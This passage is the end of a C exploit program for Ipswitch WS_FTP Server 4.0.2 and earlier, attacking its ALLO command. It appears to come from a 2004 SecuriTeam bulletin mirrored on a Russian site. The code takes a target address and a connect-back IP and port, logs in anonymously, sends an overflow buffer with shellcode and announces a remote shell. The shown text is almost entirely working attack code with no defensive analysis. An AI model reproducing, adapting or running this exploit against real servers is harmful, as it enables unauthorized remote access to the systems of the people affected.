  if (send_cmd2(s, badbuf) < 0)
   __leave;

  ret = 1;
 }
 __finally
 {
  quite_you = 0;
  if (shellcode)
   delete shellcode;
  if (badbuf)
   delete badbuf;
 }

 return ret;
}

void show_help(char* pname)
{
 msg("%s <ip> <port> <sip> <sport> [-u username] [-p userpass] [-a]\n", 
pname);
 exit(1);
}

int main(int argc, char** argv)
{
 msg("Ipswitch WS_FTP Server <= 4.0.2 ALLO exploit\n");
 msg("(c)2004 Hugh Mann [email protected]\n");

 WSADATA wsa;
 if (WSAStartup(0x0202, &wsa))
  return 1;

 if (argc < 5)
  show_help(argv[0]);

 unsigned long ip = ntohl(inet_addr(argv[1]));
 unsigned short port = (unsigned short)atoi(argv[2]);
 unsigned long sip = ntohl(inet_addr(argv[3]));
 unsigned short sport = (unsigned short)atoi(argv[4]);
 const char* username = "anonymous";
 const char* userpass = "Hugh Mann";

 for (int i = 5; i < argc; i++)
 {
  if (!strcmp(argv[i], "-u") && i + 1 < argc)
  {
   username = argv[++i];
  }
  else if (!strcmp(argv[i], "-p") && i + 1 < argc)
  {
   userpass = argv[++i];
  }
  else if (!strcmp(argv[i], "-a"))
  {
   output_all = 1;
  }
  else
   show_help(argv[0]);
 }

 if (!ip || !port || !sip || !sport)
  show_help(argv[0]);

 xuser user;
 if (!user.init(ip, port, username, userpass))
  return 0;

 if (!user.exploit(sip, sport))
  msg("[-] u n33d t0 s7uddy m0r3...\n");
 else
  msg("[+] Wait a few secs for a shell\n");

 return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Hugh 
Mann.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру